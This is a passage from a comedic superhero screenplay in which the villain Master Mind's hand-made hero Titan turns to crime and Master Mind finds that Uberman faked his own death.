Fine, why do you ask? PLATO You...just...seem... Master Mind tightens his grip. MASTER MIND Go on. PLATO ...distracted. Master Mind releases him. MASTER MIND Just with business, my minion. Just with business. I've decided it is time. PLATO You mean? MASTER MIND Yes, we've created our hero, now it's time to give him a little motivation. DA VINCI How do we do that? MASTER MIND To be simply good is not enough. A hero must be driven by an almost relentless desire to right a wrong that can never be corrected. PLATO You mean? MASTER MIND Yes, he must lose someone near and dear to him - his father figure. Gentlemen, it's time for Operation Mentor Kill! EXT. SKY OVER METRO CITY - DAY Titan flies high over and through the city, under bridges, between buildings, etc. He's not really working, just enjoying himself. 71. INT. WOMAN'S APARTMENT - NIGHT A PRETTY WOMAN sits at her makeup table wearing nothing but her bra and panties. Through the reflection in her mirror we see a large window directly behind her. As she applies lipstick we see Titan fly quickly by in the background. After a moment he slowly slides back in view and begins ogling the girl. She sees him in the mirror and quickly covers herself with a robe. Titan tries to hide his face as he zooms off. MOMENTS LATER Titan looks down to see an APARTMENT BUILDING IN RUIN. Emergency lights flash around it as swarms of people run around in chaos. TITAN Man, what the hell happened down there? Wait a sec - He stops in mid-air as he comes to the striking realization. TITAN (CONT'D) THAT'S MY APARTMENT!!! EXT. HAL'S APARTMENT BUILDING - DAY Titan lands in front of the rubble that was once his home. Reporters stand just beyond the police line. TITAN Crap. From the wreckage crawls a dying Pat Morita. TITAN (CONT'D) PAT! Titan goes and kneels beside Pat, holding him in his arms. TITAN (CONT'D) You okay? "PAT MORITA" I'm dying, kid. There is just one last lesson I have for you. It is the most important of all. 72. TITAN What's that? "PAT MORITA" Master Mind did this, you must avenge me. TITAN Master Mind? Why? "PAT MORITA" Because he's evil. You must stop the evil Hal - stop the... Pat's body goes limp. The cameras begin to pop and flash around them. Titan gently lays Pat's body down and stands respectfully over him. The reporters rush over. REPORTER 1 Tighten, Is this the work of Master Mind? REPORTER 2 How will the death of your mentor affect your resolve? REPORTER 3 Was that Pat Morita? Titan walks up to one of the cameras. TITAN This injustice will not go unpunished. Master Mind, if you can hear me, Tighten is coming for you. In the background we see Plato and Da Vinci, DRESSED AS PARAMEDICS, load pat's body onto a stretcher. PLATO ACCIDENTALLY DROPS HIS SIDE. As he bends down to pick it back up, Pat quickly slaps him, then goes back to playing dead. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind and the boys prepare the fortress for Hal's revenge attack. Master Mind is as giddy as a schoolboy. 73. MASTER MIND Alright, people, we don't have much time. Titan should be here any minute, so let's get the lead out. There is a GIANT MOUNTED DEATH RAY in the middle of the hall being tinkered with by Da Vinci. MASTER MIND (CONT'D) How's the death ray coming? DA VINCI Nearly up to full power, sir. MASTER MIND Hum. Let's turn it down a few notches. It's his first time and we don't want to get in a lucky shot, now do we? Plato enters the room. MASTER MIND (CONT'D) Anything on the radar yet? PLATO Not yet, sir. MASTER MIND I see. Well, he must be planning something big. Are the flame androids deployed? PLATO All twelve. Master Mind rubs his hands in anticipation as he sits down on his throne. MASTER MIND Wonderful, wonderful. Plato, Da Vinci, take your places next to me. They move to either side of the chair. MASTER MIND (CONT'D) No slouching. Da Vinci straightens up and sucks in his gut. They remain this way for several long moments. Master Mind occasionally glances at a DIGITAL CLOCK on the wall. Still no Titan. 74. LATER Apparently quite some time has passed. The bold stances have degraded to fatigue. PLATO He's certainly taking his time. MASTER MIND He'll be here. That's the way it works. STILL LATER Master Mind reclines in his chair and taps his metal gauntlet impatiently on the armrest. Plato has squatted down, resting his chin on his hand. MASTER MIND (CONT'D) Unprofessional, that's what this is. No, it's disrespect for the craft. Master Mind rises and begins to pace back and forth. MASTER MIND (CONT'D) Would Uberman have kept us waiting like this? Of course not. He was a pro who knew the score. It's time we spelled out a few things for this Titan. I will not be made a fool of. He storms out of the room. INT. HAL'S NEW APARTMENT - DAY Titan's sitting on the floor in a barren apartment wearing his costume top and some tighty whities. He sips his beer as he watches a basketball game on a tiny TV. Much to his annoyance, there's a KNOCK at the door. TITAN Oh, for crying out loud. He gets up and opens the door. It's Master Mind. MASTER MIND Do you know who I am? 75. It takes a few moments to register, but Titan's suddenly excited. TITAN Yeah, you're Master Mind. Yeah! You're actually the guy I want to see! MASTER MIND Oh, so NOW you want to get down to it. Well, I want to get a few things off my chest first. Master Mind walks past Titan into the apartment. He spins around, pointing at him accusingly with one of his metal fingers. MASTER MIND (CONT'D) Of all the inconsiderate - Do you have any idea how long we waited for you? We're you even planning on coming to me and getting revenge? Titan shuts the apartment door, and turns back toward his guest. TITAN Well, at first I was going to. You know, because that's what I figured I was supposed to do. But then I got to thinking- MASTER MIND (interrupting) -You got to thinking? There's nothing to think about. I'm the villain. I do something bad, you come and get me. TITAN - I got to thinking...what's the point? Master Mind throws up his hands. MASTER MIND Maybe you're right. What's the point? He suddenly notices something in the corner of his eye. He walks over to a futon in the living room. On top of it is a LARGE SACK OVERFLOWING WITH GOLD WATCHES,RINGS AND OTHER VALUABLES. 76. MASTER MIND (CONT'D) What are these? TITAN That's what I wanted to talk to you about. MASTER MIND (baffled) Where did you get all this? TITAN (proudly) Get this: I stole them. MASTER MIND From where? TITAN From all over. You see, once you killed Pat and ruined my other apartment building I was pretty pissed off, so I figured I'd go, find you and kick some ass. Then I thought to myself: "Okay,then what?" I mean, if we were to fight, what would I get out of it? Would I get my apartment back? Would I be able to pay the bills? MASTER MIND Well, what about your mentor? TITAN Tell you the truth? He was kind of a dick. I mean, being a hero is dandy and all, but it's volunteer work. Now you've always had the right take on all this. I mean, when you rob a bank or take over the diamond exchange you get something out of it. I mean, when you don't get caught, which, no offense, isn't very often. And that brings me to what I wanted to propose to you: Who could catch you if I'm by your side? Perplexed by his proposal, Master Mind just stares at Titan awe-struck. MASTER MIND You want to team-up? 77. TITAN You got the brains, I got the brawn. We could even call ourselves that: `Brain' and `Brawn'. Look at this. Titan picks up a piece of POSTER BOARD off the floor and shows it to Master Mind. TITAN (CONT'D) I even designed us some new costumes. The picture is crudely drawn with magic markers and crayons. A big headed man (Master Mind) is standing on a plate of grass in a blue costume with a picture of a brain on his chest. Next to him, is a picture of Titan in a red costume with a black cape, but his chest is mysteriously blank. Titan proudly points to the two figures. TITAN (CONT'D) See, you'd be brain, so you got a little one on your costume, and then I'll have brawn on mine...once I figure out the best, you know, visual interpretation of it. What do you think? MASTER MIND What do I think? Master Mind shakes his head tiredly. MASTER MIND (CONT'D) I think you're probably the biggest idiot I've ever met. I mean, I can't believe you. All your gifts, all your powers, and all you want to use them for is your own financial fulfillment. You know what? Your kind of people make me sick. Titan puts down his drawing. TITAN I worked hard on this. MASTER MIND Oh - gee - I am so sorry! 78. Master Mind looks to Heaven in disgust. MASTER MIND (CONT'D) (under his breath) Of all the people to pick, it had to be this loser. This strikes a cord with Titan. TITAN Now, hold on. You're going a little too far. MASTER MIND I wish your mother said that to your father the night of your conception, they would have saved me a whole lot of heartache. TITAN Hey, I mean it. Master Mind gets right in his face. MASTER MIND Oh, yeah? What are you gonna do? EXT. HAL'S APARTMENT BUILDING - DAY We see Master Mind's body CRASH through the building and land in a DUMPSTER across the street. A car pulls up. The driver's door opens. Da Vinci gets out and runs to help his master. DA VINCI Master! MASTER MIND (O.S.) It hurts. Da Vinci peeks into the dumpster to see Master Mind's body cushioned by a stack of trash bags. DA VINCI What hurts? MASTER MIND It! The overly large henchmen starts to pull his master from the dumpster when they suddenly hear a voice from above. It's Titan peeking through the hole in his apartment wall. 79. TITAN I don't need you, I don't need anybody. I have the power to do and take anything I want. And now, I'm gonna take back everything this city owes me. Beware Metro City, it's time for Titan to collect. Titan shoots up into the air. TITAN (CONT'D) Oh, and from now on - I'M GONNA FLY THE WAY I WANT TO FLY! He takes a sitting position and flies away as if he were piloting an invisible jet. Master Mind climbs out of the dumpster and watches Titan disappear into the distance. DA VINCI How'd the plan go, boss? MASTER MIND I just made myself redundant, old friend. Da Vinci gives Master Mind a whiff. DA VINCI It's not that bad. INT. BANK - DAY Titan, with a happy bounce in his step, enters the bank. The last time he was here he thwarted a robbery. He looks nostalgic. A SECURITY GUARD shyly walks up to him like a kid meeting his TV idol. SECURITY GUARD Morning, Tighten. TITAN Morning. SECURITY GUARD Is there something we can do for you? 80. TITAN Oh, don't bother about me. I'm just here to make a withdrawal. Titan walks across the lobby, drawing stares of admiration from all. A little girl waves to him sweetly. He gives her a good- natured WINK as he heads straight for the vault. The security guard watches him enter and come out with a SACK OF CASH. Sure he must be misunderstanding what's going on, the security guard just stares at Titan as he passes by and out the door. The bank manager comes over to the guard. BANK MANAGER Say, did he just rob us? SECURITY GUARD Not sure. Sort of looks it, don't it? BANK MANAGER Yeah. SECURITY GUARD Should I, you know, stop him? BANK MANAGER Umm...Yeah. As the security guard exits the bank, the manager stares out the window. His eyes suddenly grow wide with terror. The guard's body suddenly smashes through the window, landing at the startled bank manager's feet. BANK MANAGER (CONT'D) (looking down at the guard) He did rob us, didn't he? CUT TO: TELEVISION "A Channel 7 News Special Report." Brad Helms wipes into view. 81. BRAD HELMS "Absolute power corrupts absolutely." When Lord Acton stated that, in a letter to Bishop Mandell Creighton in 1887, no one thought much about it, but today Metro City is reeling from that very prophecy. Tighten, who many thought of as our savior, has turned his back on the cause of justice. CUT TO: TITAN BEING EVIL - MONTAGE EXT. DIAMOND EXCHANGE - DAY Titan flies through the window of the building. He emerges seconds later laughing with his shirt full of booty. EXT. CITY STREET - DAY A woman screams from the window of a BURNING BUILDING. Titan flies up to her, grabs her fur coat and zooms off again, leaving the woman behind, slightly confused. EXT. OUTSIDE MARKET - DAY Titan steals a little boy's lollipop and gooses his mother. EXT. CITY STREET - DAY Dozens of people run through the streets apparently to get out of a downpour. We cut to the top of a building and see Titan ZIPPING UP HIS PANTS and laughing. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind paces back and forth in front of Plato and Da Vinci. PLATO I don't understand it. He seemed to have every characteristic we were looking for in a superhero. MASTER MIND Well, there's no use crying about it now, we must take action. I'm not going to play second fiddle to that crass buffoon. We must destroy Tighten. 82. PLATO It won't be easy. Uberman had a sense of decency and genuine love for the people. That was his weakness and was easily used against him. MASTER MIND Yes, but he possesses the same flaws present in Uberman's DNA - copper. It's like Benjamin Franklin always said: "If something works don't dick with it." EXT. BAR - DAY It looks like a war zone passed through here. Smashed police cars and debris lay everywhere. This seems to be the only building left untouched. INT. BAR - DAY A very tipsy Titan is sitting at the bar, looking deep into the bottom of his beer glass for answers. TITAN I can have anything I want. I'm like a god. The BARTENDER just listens as he wipes down a glass with a dirty rag. TITAN Point to any woman in this bar. I could have her in a second. He follows the bartender's gaze to THE ONLY OTHER PERSON THERE - A passed out, MIDDLE AGED HAG OF A BARFLY. TITAN (to Old Barfly) Hey, you wanna get with this? BARTENDER Buddy, what do you want? Titan carefully considers this for a moment. TITAN What do you want? That's the question, isn't it. I mean, what do you want when you can have everything? (MORE) 83. TITAN(cont'd) I suppose what I really want is to never be forgotten again. I want to do something that can never be cast aside or one-upped. I want a - what's it called? - A legacy. I want a legacy. Yeah, that's it. I like the sound that. BARTENDER I meant, what do you want to drink? TITAN Oh. EXT. BAR - LATER Titan stumbles out of the bar, carrying a large sack of money. MASTER MIND (O.S.) Your time has come to an end, Titan! He looks up to see Master Mind suddenly standing before him. TITAN What? MASTER MIND There can be only one master criminal in this city - and it's me. TITAN Really? Titan melodramatically throws up his arms. TITAN (CONT'D) I guess I should leave town then, huh? MASTER MIND I have a better idea - NOW! Two floors up Da Vinci releases a rope. A COPPER CAGE, like the one that caged Uberman, drops down on top of Titan. Titan nonchalantly surveys the cage. He walks to the bars, tries to pull them apart but can't. MASTER MIND (CONT'D) That's copper my good man. Your one weakness. (MORE) 84. MASTER MIND(cont'd) For all your amazing gifts of brawn you are no match for my intellect. Titan thinks for a moment. Suddenly, he starts to SPIN like a human top, DRILLING HIMSELF INTO THE STREET BELOW. As he disappears beneath the surface, we see a shocked look on Master Mind's face until Titan suddenly explodes out from under the street in front of him. Master Mind stares up at him, dumbfounded. Titan makes like he's going to strike him down, but stops. TITAN You know what? You're nothing but a bug. Not even worth my effort. He turns his back to Master Mind and continues down the street. Plato makes his way from the shadows to join his master. They watch Titan shrink into the distance. MASTER MIND He's not as dumb as I thought. PLATO I guess not...Funny, though. MASTER MIND What's funny? PLATO Funny Uberman didn't think of the same thing. EXT. HIGH ABOVE METRO CITY - DAY As Titan flies, he looks down at the rooftops of the city below. Suddenly, something catches his attention. HAL That's it! He stops, hovering in place as he looks down below. The buildings, which make up the heart of downtown Metro, are in a PERFECT TRIANGLE with a long strip of street leading up to it. It sorta looks like a bowling lane. 85. HAL Hello, Legacy. EXT. KINGPIN BOWLING - DAY Vinnie and his goons come running out as the hear a COMMOTION. They look up to see Titan ripping off THE GIANT BOWLING BALL from the top of the establishment. VINNIE Hey, that's my ball! INT. ROXANNE'S APARTMENT BUILDING - DAY Roxanne enters the building's elevator. Just before the door closes an ELDERLY WOMAN slides in. ELDERLY WOMAN That was a close one. Sixth floor, please. Roxanne smiles and goes to press the button. The elderly woman suddenly pulls out a SPRAY CAN, shooting a MYSTERIOUS-LOOKING MIST into Roxanne's face. She falls to the floor unconscious. INT. ROXANNE'S APARTMENT - DAY Roxanne awakens, finding herself tied to a chair in her living room. We hear NOISE from a TV in the background as she tries to adjust her vision. Slowly, the blurry figure before her becomes clear. It's Master Mind. He sits on her Lazy-Boy, reading what looks to be some kind of JOURNAL. MASTER MIND Wow, I always thought Uberman was your first superhero - but it looks like our little Roxanne dated a linebacker in college. ROXANNE That's my diary. MASTER MIND So it is. 86. ROXANNE It's personal. MASTER MIND Well, then I wouldn't leave it in your underwear drawer for just anyone to find. He throws the diary over his shoulder. ROXANNE What do you want? MASTER MIND I need your help. ROXANNE So you knock me out and tie me to a chair? MASTER MIND You're not going to like what I'm about to tell you. As she tries to shake off her headache from being knocked unconscious, Roxanne spots something on the TV. ON TELEVISION Brad Helms is huddled behind a van. BRAD HELMS It's chaos here in city square as city police - Behind him, Titan picks up a POLICE CAR and throws it at a PADDY WAGON. Both vehicles EXPLODE on impact. BACK TO SCENE ROXANNE He's really out of control. MASTER MIND Tell me about it. As if finally realizing something, Roxanne looks back at Master Mind. ROXANNE I should have known. You have something to do with this, don't you? - With Titan turning evil. 87. MASTER MIND Well, the evil thing he did by himself. My goal was to give MYSELF purpose by creating an intellectual sparring partner. ROXANNE (confused) You're talking like you made him. MASTER MIND And they call me Master Mind. ROXANNE Let me get this straight. You missed getting your ass kicked, so you made a new guy to kick your ass. That's pathetic. MASTER MIND In hindsight... Roxanne turns back to the TV to see a group of POLICE OFFICERS open fire on Titan. The bullets just deflect off his chest. ROXANNE And his powers, they're just like Uberman's. Why would he have his powers? MASTER MIND (almost ashamed) I had some left over from something. I infused him with it. ROXANNE YOU DID WHAT!? Driven by rage, she struggles to tear out of her bonds. She finally relents, giving Master Mind a look fueled by pure hatred. MASTER MIND Yeah, that's why I decided to tie you up. ROXANNE You did all this because you wanted purpose? MASTER MIND He seemed nice. 88. TELEVISION Titan is standing on top of a destroyed police car. He waves for the camera to zoom in on him. TITAN Closer. I want to show the people my real face. He pulls off his mask, revealing himself as Hal Stewart to the public for the first time. TITAN (CONT'D) Recognize me? BACK TO SCENE ROXANNE Hal Stewart. He's the guy we thought saved that woman and kid. Turned out he was just trying to save his own ass. MASTER MIND Yeah, good to know - NOW! TELEVISION Titan throws the mask over this shoulder and hops off the car. TITAN That's right, I'm really Hal Stewart. Former hero and bowling teacher at Kingpin's Bowling. BACK TO SCENE Roxanne turns to Master Mind, condescending him with her eyes. ROXANNE You picked a bowler to give super powers to? MASTER MIND It's a modest profession! TELEVISION 89. TITAN With my new found power, I've recently started to wonder what sort of legacy I should leave. Should I be a hero? I tried that once before - even saved a lady and her baby from being squashed. I was treated like a god until everyone started to shit on me - Okay, so what if I didn't "purposely" save them! He walks over and puts his hand on a large circular concrete shape just off camera. TITAN Well, I'm going to make something that can't be taken away from me. I'm going to create a permanent monument to my greatness. One that won't be so easily forgotten or erased. The camera pulls back revealing THE GIANT CONCRETE BOWLING BALL from Kingpin's. TITAN I intend to create a new category in the Guinness Book of World's Records by rolling the biggest strike in the history of bowling. He grabs the camera and points it to the DOWNTOWN BUILDINGS. We realize they are PERFECTLY ALIGNED IN BOWLING PIN FORMATION. TITAN My thanks to the city planning commission. This wouldn't have been possible without them. Titan grabs the camera so it's pointing back at him again. TITAN Tell your friends and family to tune in right here to this station at noon tomorrow. BACK TO SCENE ROXANNE My god, he's nuts. That'll destroy the whole business triangle. 90. Master Mind seems to be contemplating something - something bad. ROXANNE What? MASTER MIND My lair is in the direct path of the ball. ROXANNE Oh, real nice. Wouldn't want anything to happen to your hideout, would we? MASTER MIND You don't understand. I have certain equipment that's - that's highly unstable. ROXANNE What do you mean? MASTER MIND I sort of have a hydrogen reactor, okay? ROXANNE A HYDROGEN reactor? MASTER MIND It's experimental - only one in the world...Well, how do you think I power all my inventions? Someone like me can't pay for electricity. The bills would be outrageous. ROXANNE A REACTOR? MASTER MIND It creates 100 times the output of a nuclear one...If destroyed it could... ROXANNE - Vaporize the entire city! MASTER MIND (proudly) Pshaw...the whole eastern seaboard, actually. That little baby is amazing. I'm quite proud of it. (MORE) 91. MASTER MIND(cont'd) (off her deadpan reaction) I mean...we'd better find a way to stop him. Master Mind thinks a moment. MASTER MIND Did Uberman have a hideout? ROXANNE What? MASTER MIND A cave, a solitary fortress of some kind. C'mon, all heros have a place to hang their capes up in. Roxanne, it may be our only chance to find something, a clue, anything that could give us a fighting chance. ROXANNE It's under his house. MASTER MIND Whose house? Roxanne can hardly believe what she's telling him. ROXANNE Wayne Scott's. Master Mind shoots up out of his chair. MASTER MIND Wayne Scott? Uberman was Wayne Scott!? Wayne Scott, the wealthy philanthropist? But he disappeared - ROXANNE (interrupting) He disappeared just over two months ago when you killed him. Not only did you rid the world of a hero, you killed a kind, noble, generous man. Perhaps ashamed, the super villain hangs his head. Master Mind walks behind Roxanne and undoes her bonds. Rubbing her wrists, she watches him as he walks over to the door. 92. ROXANNE (CONT'D) Looks like you got what you always wanted. Uberman is out of the picture and Metro City is doomed. He grabs the door knob and stops, considering her words. MASTER MIND "Metro City doomed." You know, I never thought I'd say something like this, but here it goes - He slowly turns to her, CUE HEROIC MUSIC. MASTER MIND (CONT'D) Not if I have anything to say about it. EXT. WAYNE SCOTT'S MANSION - NIGHT Master Mind stands before the huge, Gothic structure in awe. MASTER MIND Such a dark place for one such as you. I wonder, underneath your noble deeds, what inner demons drove you to your endless crusade for justice? He walks to the front entrance. The double doors have been sealed shut with boards and nails. Master Mind begins to tear them off with his metal hand. INT. WAYNE SCOTT'S MANSION - NIGHT The doors opens. A beam of moonlight immediately pierces the darkness, forming an illuminated path into the heart of the manor. Master Mind enters. Covered in dust and cobwebs, the hall looks like a gigantic crypt. MASTER MIND Good lord, man. You've only been dead for two months. Master Mind walks, coming to a gigantic painted PORTRAIT OF WAYNE SCOTT. He stops to reverently admire the image of his fallen foe. 93. MASTER MIND (CONT'D) A disguise so simple, it's ingenious. No wonder I never caught on. Besides the Armani suit, there's nothing to hide the fact that this is the same person as Uberman. In the picture, he's even standing in the same cheesy, heroic pose with his fists on his hips. MASTER MIND (CONT'D) Two lives, yet in both you were an ideal. Perhaps it was you who was victorious in the end, old friend. A BONGING sound suddenly bellows through the dark halls. Master Mind comes to a grandfather clock standing next to a gigantic BOOKCASE. On the twelfth bong it falls silent. Master Mind begins to slide it across the floor until he hears a loud CLICK. The bookcase slides into the wall, REVEALING A HIDDEN PASSAGE. MASTER MIND (CONT'D) I'll miss how predictable you were. The passage way leads Master Mind to a WORKING ESCALATOR. Master Mind gets off the escalator to see a long hallway with stone walls. He begins to hear strange SOUNDS, almost like MUFFLED SCREAMS, coming from a doorway at the end of the hallway. Master Mind starts walking towards it. As he steps closer, he begins to notice a light cracking through the bottom of the door. MASTER MIND (CONT'D) Hello? Anyone here...besides..all the BIG MEN who are with me now? Nothing. MASTER MIND (CONT'D) (to himself) What's the worst you're gonna find? (MORE) 94. MASTER MIND(cont'd) The man was a boy scout, not a serial killer. He opens the door to his immediate amazement. It's some kind of screening room. A PROJECTOR shoots an image onto A DIRTY WHITE SCREEN hanging on the wall. BEER CANS litter the floor; a table in front of a ripped-up couch is covered in discarded snack goods; and a Kiss Pinball machine stands in the far corner next to a CLOSED DOOR. Master Mind turns his attention to the action on the screen. SCREEN A woman dressed in a leather DOMINATRIX OUTFIT is whipping an overweight man lying on a swing-like device with his butt sticking out. DOMINATRIX IN FILM YOU ARE A WORM! She whips him three times. The man CRIES out in pain. FAT MAN IN FILM PINEAPPLE!!! PINEAPPLE!!! Master Mind's eyes are transfixed on the disturbing imagery. The door by the pinball machine suddenly swings open. WAYNE SCOTT, dressed in raggedy sweats, steps into the room carrying a CAN OF BEER and a bowl of JIFFY-POP. Master Mind cannot believe his horrified eyes. MASTER MIND Ahhhhhh! Wayne Scott is just as startled. WAYNE SCOTT Jesus! He drop his drink and snack to the floor. The two men stare at each other as they struggle to regain their normal breathing patterns. Wayne Scott walks over to the couch, brushes off a thick layer of chip crumbs, and sits down. WAYNE SCOTT (CONT'D) What the hell are you doing here? 95. MASTER MIND I might just ask you the same question. I had thought I incinerated you. WAYNE SCOTT You scared the bejesus out of me. How'd you figure out I was still alive? Wait, how do you know my identity!? MASTER MIND Roxanne told me. As for your ruse, I forgot to line the bottom of the copper cage - Somebody pointed that out to me recently. Figured if they could do it, so could you. But one thing I couldn't figure out - WAYNE SCOTT The skeleton? Something I "borrowed" from a medical school a few months before. MASTER MIND A few months? How long had you been planning this? WAYNE SCOTT I always planned to retire - eventually. I mean, come on, you can't do this sort of thing in your fifties. You'd just look ridiculous. The pieces of the puzzle appear to be coming together in Master Mind's head. MASTER MIND I see it all so clearly now. INT. MASTER MIND'S HYDROFOIL - FLASHBACK Master Mind and his minions cover their eyes as the observatory explodes. MASTER MIND (CONT'D - V.O.) You must have done it just seconds before the observatory exploded. 96. INT. OBSERVATORY - FLASHBACK Similar to what Titan did, Uberman bores out from under the cage. MASTER MIND (CONT'D - V.O.) You bore out from under the cage. Then, using your Uber-Speed, - EXT. OBSERVATORY - FLASHBACK Running in a blur-like haze, Uberman screeches to a halt in front of some bushes. MASTER MIND (CONT'D - V.O.) - you made your way to safety, where you had the skeleton safely hidden away somewhere. EXT OBSERVATORY - SKY - DAY Uberman soars high above the clouds. He looks down at the observatory, which is a mere speck in the distance. MASTER MIND (CONT'D - V.O) (CONT'D) Then you must have flown to a safe distance and waited for the explosion, then... Just as the observatory explodes Uberman aims and throws the SKELETON like a javelin. It soars through the air like a missile, tearing through the flames of the explosion, and crashing right into the windshield of Master Mind's hydrofoil. END OF FLASHBACK Wayne stares at Master Mind, clearly impressed. WAYNE Man, you ARE smart. MASTER MIND But why fake your death? Why go through all of it? You could have just quit. WAYNE SCOTT But the responsibility would still be there. (MORE) 97. WAYNE SCOTT(cont'd) A cop can retire and stop handing out speeding tickets - but people expect more from superheroes. I tell you, a volcano couldn't erupt in Zimbabwe without everyone expecting me to do something about it. I figured, out of sight, out of mind. MASTER MIND And Wayne Scott? Why did he have to disappear? WAYNE SCOTT Both of my lives have so much baggage. It's time for new baggage, you know? Master Mind's is absolutely flabbergasted. MASTER MIND I just can't believe it. This whole time you've been in hiding while a force of great evil is tearing your city apart? Wayne rises to his feet, waving his hands for Master Mind to say no more. WAYNE SCOTT I don't want to hear about it. That's why I don't have a television in here to remind me of all the things I SHOULD be doing. Hell, I could get a wife to do that. MASTER MIND There's a demented supervillain out there about to destroy our - I mean, your city. Wayne shrugs indifferently. MASTER MIND You're really going to do nothing? WAYNE SCOTT Good and evil have a way of balancing themselves out. If this guy is as bad as you say, somebody will rise up to fight him. It's just the order of things. You found me, didn't you? 98. Wayne puts a condescending hand on Master Mind's shoulder. WAYNE SCOTT (CONT'D) I know it's hard, but you'll find someone else someday. He then starts walking to the door. MASTER MIND You're the only one who can stop him. Wayne turns around. WAYNE SCOTT Couldn't if I wanted to. Gotta a plane to catch. MASTER MIND A plane? WAYNE SCOTT Going to Barbados for a little change in climate. Now, if you'll excuse me, I got to go pack. He reads the still defeated look on Master Mind's face. WAYNE SCOTT (CONT'D) You were a good foe. I'm sorry if I've let you down. If it makes a difference, you were the best foe a hero could ask for. MASTER MIND Not smart enough to come up with a full-proof trap. WAYNE SCOTT Well, you did almost have me when you figured out my weakness was copper. Now that made me sweat a little. Took me way too long to drill out from under that cage. MASTER MIND I got lucky. WAYNE SCOTT Anyway, it's a good thing for my sake that I could always count on you for an out. 99. MASTER MIND (suddenly confused) What do you mean? WAYNE SCOTT C'mon, we always threw each other a couple of bones. You would always leave me an out in one of your `full-proof' traps, and I'd never had you incarcerated at a penitentiary that you couldn't eventually escape from. It kept our little game going. Master Mind seems deflated. MASTER MIND Game? - Was that all this ever was to you? You know, I was trying my best every time I fought you. Those `outs' as you call them were unintentional. WAYNE SCOTT Oh. MASTER MIND I guess I was never really a match for you, was I? Wayne shrugs. MASTER MIND (CONT'D) (thoughtfully) Then how can I expect to be one for Titan? A beaten man, Master Mind heads for the door, but stops and turns around. MASTER MIND (CONT'D) What about Roxanne? Wayne unleashes an exhausted sigh. WAYNE SCOTT I think we both got what we wanted out of our relationship. She got a career out of me, and I got plenty of other things out of her. But I'm ready to move on to greener pastures. 100. Master Mind's steel hand clinches into a fist at his side. Wayne's oblivious to this. MASTER MIND I guess I wasn't the villain I thought I was, and you...you weren't the hero I thought you were. He turns to make his exit when he suddenly sees ROXANNE STANDING IN THE DOOR FRAME. Wayne is almost at a loss for words. WAYNE SCOTT Roxanne! How long have you been... ROXANNE Long enough. Roxanne looks at Master Mind. ROXANNE (CONT'D) Don't you have something else you can go do? Master Mind leaves Roxanne and Wayne facing each other in silence. EXT. ANOTHER BAR - DAY Titan emerges with Brad and Frank. He's holding a BEER CAN and a bag of PORK RINDS. TITAN Alright, I want this whole thing to look ESPN professional, understand? A distant MECHANIZED RUMBLE can be heard. The noise rises, signaling the approach of something powerful. Titan and his crew walk out to the center of the plaza as the sound becomes almost deafening. A TANK TRACK as it moves over the street. We PULL BACK to see a whole line of TANKS rolling along the street. PLAZA From the five streets branching off the plaza, a dozen tanks roll toward Titan. 101. Titan turns to Brad and Frank. TITAN (CONT'D) You guys are about to get some good footage. I might need a little room, though. Brad and Frank look at each other and run to take cover behind a nearby building. Meanwhile, Titan nonchalantly sips from his beer as the tanks begin to surround them. FEEDBACK belts out of one of the tank's loudspeaker's, causing Titan to do a mock wince. TANK LOUDSPEAKER Titan, we have orders from the city of Metro to take you into custody. If you do not give your self up willingly, we will be forced to open fire. There's a long pause as no one says anything. TANK LOUDSPEAKER What is your answer? Titan takes a sip of his beverage and UNLEASHES A GIGANTIC BURP - The shockwave of which sends several of the tanks flying into a nearby building. Two of the remaining tanks close in on the villain. Both have him dead to rights at point-blank range with their massive guns. Titan sets down his beer, then calmly plugs a fist into each barrel. They FIRE. The FORCE OF THE BLAST SENDS THEM BOTH FLYING IN OPPOSITE DIRECTIONS where they CRASH into nearby buildings. Titan bends down and pick his beet back up. TITAN (to beer) Miss me? Titan is suddenly bombarded by a massive barrage of machine- gun fire. The force sends him flying into the windshield of a nearby car. 102. He looks up to see an APACHE ASSAULT COPTER. It's nose- mounted GATLING-GUN is turning toward him. Titan gets up to his feet and looks down at his beer can. The bottom of it was blown apart in the blast. TITAN (CONT'D) Didn't mean to get you involved in all of this. He stared daggers up at the helicopter pilot just as the gun gets a bead on him. TITAN (CONT'D) Hey, man! You killed my suds! Titan throws the can up and slaps it with the palm of his hand. It flies with so much force it knocks the helicopter blade clean off. The rest of the Apache crashes to the street like a car dropped off a building. TITAN (CONT'D) That's one was for you, beer. Titan salutes the wreckage and walks away to find Brad and Frank still hiding behind the building. TITAN Guys, please tell me you got that last bit. BRAD HELMS Huh? TITAN You're kidding me. I give you my sexiest moves and you mean to tell me it was for nothing? BRAD HELMS We were afraid something might hit us. TITAN Looks like I've given the story of the century to the wrong man. He thinks about this for a moment, then it hits him. 103. TITAN Wait. What about that other reporter. Blond. Not so lumpy on the topper half, but killer legs. BRAD HELMS Roxanne. You want Roxanne. She's a much better reporter than I am. You want her. TITAN Where can I find her. FRANK We're actually not supposed to give out that sort of information. BRAD HELMS 1314 Mockingbird Lane. I believe she lives in a penthouse. TITAN You've been very helpful. He tosses Brad over his shoulder like a discarded ice cream cone. In the faint distance we see him splash down in the middle of the Metro City river. INT. ABANDONED METRO CITY LIBRARY - DAY Master Mind, pacing anxiously as Plato and Da Vinci pack boxes. Obviously Master Mind is going on the lamb. MASTER MIND Hurry, we must be on our way as soon as possible. DA VINCI Master, why must we flee? MASTER MIND I told you, Titan is too powerful. If he's set on destroying us, there's precious little we could do about it. DA VINCI Where are we going? 104. MASTER MIND To another city, someplace with a shitload of superheroes to fight. We'll start over, we'll go back to doing what we do best. PLATO With our tails between our legs? The old Master Mind would never have let this comment slip by, but as we have seen, he's not the same man. MASTER MIND Plato, do you have a better plan?! Master Mind's cell phone rings. He turns in shame from his men and answers it. MASTER MIND (CONT'D) Hello...Roxanne? INT. ROXANNE'S APARTMENT Roxanne paces back and forth on the phone. ROXANNE What are you going to do about Tighten? INTERCUT between Master Mind and Roxanne on phone. MASTER MIND Right now I'm packing, later I'll have a snack on the train. ROXANNE You're running away? MASTER MIND In a word - yes. ROXANNE You created this monster... MASTER MIND I didn't create this - the god's of irony did and I am eating the crow I so richly deserve. ROXANNE There's no time for self pity. 105. MASTER MIND I'll make the time. Roxanne can't believe what she's hearing. MASTER MIND (CONT'D) You can leave with us. You'll be safe. ROXANNE I'm not going anywhere. MASTER MIND Will you listen to me, no one can stop him. ROXANNE You have to try. The city needs your help. MASTER MIND I'm afraid you have an inflated opinion of me. ROXANNE What the hell's happened to you? The Master Mind I knew would never have run from a 